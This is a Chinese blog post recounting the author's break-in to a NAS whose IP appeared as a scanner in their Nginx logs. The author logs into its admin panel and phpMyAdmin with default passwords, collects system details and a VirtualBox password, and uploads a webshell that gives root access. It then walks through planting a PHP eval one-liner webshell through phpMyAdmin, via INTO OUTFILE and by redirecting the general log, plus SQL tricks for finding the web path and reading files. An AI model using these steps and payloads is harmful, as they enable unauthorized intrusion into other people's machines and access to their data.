前言

闲来无事,看起了Nginx的log。

很早就知道有很多扫描器在互联网上不断地扫主机,这些扫描器可能运行在黑客的机器上,也可能运行在所谓的“肉鸡”,即存在漏洞而被黑客控制的机器

很容易就能在log中找出一些扫描器的IP

360截图1732010888140118

但是并不是都能利用,像这台只开了22端口和80端口,没法继续下去

360截图16560313364760

但是!总是非常容易发现一些能利用的机器,这也是这篇文章要说的

像下面这台机器,存在弱口令

关键信息已去除

开始

端口扫描

扫到的端口如下图

360截图1708102484138111

尝试

先从80端口开始,进去显示如下

360截图16970325464093

点进去看看,跳转到了一个界面,8000端口

360截图17420915505631

试试弱口令admin-admin

居然进去了,这意识有多差

360截图174001169311197

应用还是很多的

360截图17320107384659

看到了phpmyadmin,应当存在php

360截图176709085410897

同样可以使用弱口令登录 root-admin

360截图170010171059191

信息收集

PHP信息

收集一波信息

php7.3.12

360截图17001019243059

硬件信息

cpu信息和内存信息,这是一台NAS

360截图17081101232180

其它信息

应当是DDNS穿透

果然是

360截图182311157210755

还开启了easy-connect,一般的NAS都有的功能,可以穿透内网,在外网访问NAS

360截图17320105405671

看到他的邮箱了

360截图17891231616445

目录信息

找到了WEB目录

360截图17020801383440

确实是WEB的路径

360截图16530711587077

360截图16960429344626

收集到了一波virtualbox的连接密码,还是弱口令

360截图17690627878487

传PHP

传个php看看

360截图16720402297155

360截图17400111457978

访问成功

360截图1850082592142105

传webshell

传个webshell看看,位置放偏僻一点

360截图1708103159104107

蚁剑连接成功,居然是新加坡的IP

360截图16720402537693

居然拥有root权限。。。

360截图17001019236444

试下终端

360截图1872011910587109

360截图1786060499132141

关于其它方法

如果只有phpmyadmin的界面也没有关系,也可以弄webshell

方法1:导出表

先登录

360截图170010171059191

随便找个库点一下,再点箭头所指SQL

360截图17320106647275

输入下面语句,意思是创建表,表名为a,内容(cmd字段)为“

1
2
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("<?php eval($_POST[1]);?>");

360截图17040513507694

执行一下

360截图16911112999491

假设我们已经知道web的路径为/volum1/Web(后面还会分析,请继续看下去)

下面这句话的意思是将a表中的cmd字段导出到/volum1/Web/phpmyadmin/u.php,即web目录下的phpmyadmin目录下的u.php

还记得cmd的内容是““吗?典型的一句话木马

1
select cmd from a into outfile "/volum1/Web/phpmyadmin/u.php";

360截图18790310509269

执行成功

360截图170405097996129

来试下能不能连接

360截图17320103455973

接下来还可以把表a删一下

感觉删不删无所谓,毕竟机器主人连弱口令都懒得改了,会看数据库的可能性不大

1
Drop TABLE IF EXISTS a;

360截图17411101477626

可以看到已经删掉了a表

360截图177202279090131

方法2:写Log

另外一种方法就是改log的输出路径到web目录,且log文件的后缀名改为php

1、开启log

1
SET GLOBAL general_log='on'

2、

1
SET GLOBAL general_log_file='web路径/xxx.php'

写入log,只需要运行查询语句

1
SELECT '<?php eval($_POST["cmd"]);?>'

关于Web路径

下面就是讲web目录的路径如何获取了

第一种是通过phpinfo

有些网站可能存在phpinfo.php,或者装了雅黑探针什么的,都能看到WEB目录的路径

虽然这个网站存在phpinfo.php

360截图17900101256448

但是需要在配置文件手动开启,否则显示空白

360截图18141215556095

可以看看这个文件

360截图16570127526652

解释如下

360截图17400112102145159

有时候可能可以通过下面的方式来看,不过这台机器不行

360截图17860606091840

如果php开启了错误显示,还能通过报错来显示,但是在这台机器也不行

下面的请求地址会出错

1
phpMyAdmin/index.php?lang[]=1

使用一些sql语句

  • 例如,使用以下语句可以得出数据库所在位置
1
show global variables like "%datadir%";

360截图18720116081029

得出下面位置为app目录

1
/usr/local/AppCentral/

一般的debian系的系统app目录都是下面的样子的

1
/usr/local/app/
  • 还可以使用下面语句读文件
1
SELECT LOAD_FILE('路径') AS Result;

文件不存在时结果如下所示

1
2
3
4
5
6
7
8
9
+--------+

| Result |

+--------+

| NULL |

+--------+

结束

某些场景下弱口令是非常危险的!

声明:在本文所弄的这台机器上我没有干坏事,也没有操作机主的隐私文件

就到这里了,文章水的很,谢谢观看

EOF